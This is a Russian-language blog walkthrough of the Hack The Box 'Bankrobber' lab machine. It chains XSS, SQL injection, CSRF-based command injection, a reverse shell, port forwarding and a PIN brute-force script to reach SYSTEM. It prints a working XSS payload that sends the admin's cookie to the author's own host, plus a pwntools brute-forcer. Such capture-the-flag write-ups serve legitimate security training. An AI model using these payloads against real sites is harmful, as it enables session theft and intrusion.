python

Hack The Box. Прохождение Bankrobber. XSS, SQL инъекция, CSRF, port forwarding

  • вторник, 10 марта 2020 г. в 00:25:32
https://habr.com/ru/post/491586/
  • Информационная безопасность
  • Python
  • CTF


image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье мы угоним куки администратора сайта через XSS, узнаем код с помощью SQL инъекции, получим шелл через форму выполнения команды с помощью XSS и CSRF, прокинем порт из Windows и побрутим PIN легенького приложения перевода средств с помощью pwntools.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.154, который я добавляю в /etc/hosts.

10.10.10.154	bankrobber.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A bankrobber.htb -p80,443,445,3306

image

На хосте работают веб сервер и SMB, а также доступна СУБД MySQL. SMB и MySQL ничего нам не дают, поэтому смотрим веб.

image

Представлен сайт Bitcoin, где мы можем зарегистрироваться.

image

Давайте зарегистрируемся и войдем. Нам предоставляют форму перевода средств.

image

Выполнив простой тестовый запрос, получаем сообщение. В нем говорится, что Администратор рассмотрит наш запрос на транзакцию и примет решение.

image

Это очень большой намек на XSS. Давайте попробует украсть cookie администратора. Сначала развернем локальный HTTP сервер.

image

Теперь выполним запрос на транзакцию, указав в качестве сообщения следующую JS нагрузку.
<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

Таким образом, пытаясь загрузить картинку, скрипт обратится по данному адресу и в качестве параметра пришлет нам куки учетной записи, под которой скрипт был выполнен (в данном случае администратор).

image

Похоже на base64. Декодируем и получаем логин и пароль администратора.

image

Логинимся под admin и смотрим, что нового нам доступно. Отправив кавычку в поле поиска пользователя, получаем ошибку — есть инъекция.

image

Другой сервер просит команду dir.

image

Но отвечает только localhost.

image

Вернемся к SQL инъекции.

image

Определяем количество столбцов и какие из них отображаются.

image

Таким образом выводятся первый и второй столбец.

USER


Немного посидев, ничего интересного не находим. Давайте перейдем к модулю backdoorchecker. Найдем событие, которое отвечает на нажатие кнопки.

image

Переходим в консоль браузера и вводим название функции.

image

Переходим по ссылке на функцию.

image

И находим куда поступает запрос. Благодаря инъекции, мы можем прочитать файл (с первого раза угадал дефолтный путь xampp).

image

Таким образом, команда будет выполнена, если в строке будет присутствовать подстрока “dir”. Это позволяет нам отправить цепочку команд. Осталось разобраться с одним, запрос должен поступить от localhost. Вспоминаем про XSS и функцию callSys(), которую мы можем вызвать для отправки запроса. Проверим наше предположение.

image

Так как команда выполнена, давайте выполним RCE с помощью скрипта Invoke-PowerShellTcp из пакета nishang.

image

ROOT


Первым делом проводим базовое перечисление системы. Для этого используем winPEAS.

image

Из всего вывода цепляемся за открытый на localhost 910 порт.

image

Давайте посмотрим, что на нем. Для начала нужно прокинуть порт. Среди всех программ наиболее удобным решением является chisel. Запускаем на локалтном и удаленном хостах.

image

image

Теперь подключимся и посмотрим, что там.

image

Требуется 4-х значный PIN код. Будем перебирать его.
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()


image

Находим PIN код и нас просят ввести сумму транзакции. Делаем это и ничего не происходит.

image

Сумма передается в программу, запущенную от имени администратора. Ничего не находя более, передаем в качестве суммы строку из 100 символов.

image

image

И мы видим как строка запуска программы изменилась на часть нашей строки. Проверим с какого индекса это произошло.

image

Таким образом, если передадим строку с названием и другой программы, она выполнится. Давайте проверим.

image

image

image

И предположение верно. Для начала загрузим netcat.

image

И теперь выполним бэкконнект.

image

image

Получаем привилегии SYSTEM.

Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.